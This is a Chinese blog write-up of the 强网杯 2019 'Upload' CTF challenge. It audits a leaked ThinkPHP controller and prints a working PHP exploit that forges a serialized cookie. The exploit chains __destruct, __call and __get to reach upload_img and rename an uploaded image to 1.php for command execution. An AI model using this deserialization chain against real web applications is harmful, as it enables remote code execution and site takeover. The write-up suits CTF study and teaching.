[强网杯 2019]Upload

有个注册登录界面,先注册进去看看

 

 发现是一个文件上传页面

扫一下看看有没有源码泄露

发现有/www.tar.gz

下载下来看看

接下来就是代码审计了

主要文件是:Index.php、Profile.php、Login.php、Register.php

而且用phpstorm打开会发现在index.php和Register.php中各有一个断点,应该是提示

 

 

 

 

这里的login_check函数会反序列化我们传入的user(cookie)

而下面检测到未登录就会调用$->checker->index(),这里可以令checker=0绕过

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

 

 

 这里会被直接加上png的后缀

 

 这里是关键点

这个可以使ext=1,来进入,同时,这一步会将文件复制给filename,相当于重命名,最后执行update_img()

那么如何通过反序列化来调用update_img呢

这里有两个魔术方法

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

当对象调用不可访问属性时,就会自动触发get魔法方法,而在对象调用不可访问函数时,就会自动触发call魔法方法。

再看回Register.php

 

 有个__destruct()魔术方法,上面这两输出可控,我们可以让checker这个属性为Profile类

然后就会调用Profile类里的index()函数,那么就会触发__call魔术方法

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

checker调用了类Index里的方法index(),如果我们此时将checker的construct覆盖为类Profile,那么势必在调用index()方法时,会触发call函数

而进入这个函数后,就能出发$this->index,调用了profile类中不存在的对象,就可以触发_get魔术方法

再设置except[’index‘] 为 upload_img的话,就可以成功触发了upload_img

这时候再得到文件的上传路径就可以了

bp抓包得到cookie

解码

 

 就可以构造exp了

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;
}
class Profile{
    public $checker =0 ;
    public $filename_tmp="./upload/cc551ab005b2e60fbdc88de809b2c4b1/4a47a0db6e60853dedfcfdf08a5ca249.png";
    public $upload_menu;
    public $filename="./upload/cc551ab005b2e60fbdc88de809b2c4b1/1.php";
    public $ext=1;
    public $img;
    public $except=array("index"=>"upload_img");
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;

echo base64_encode(serialize($a));

 

 

 

 

 

 

 

 再修改一下网页的cookie

 

 刷新一下再访问就能访问到改名的文件,就能够命令执行了

 

 

 

 

 

posted @ 2022-04-13 19:47  c0d1  阅读(158)  评论(0编辑  收藏  举报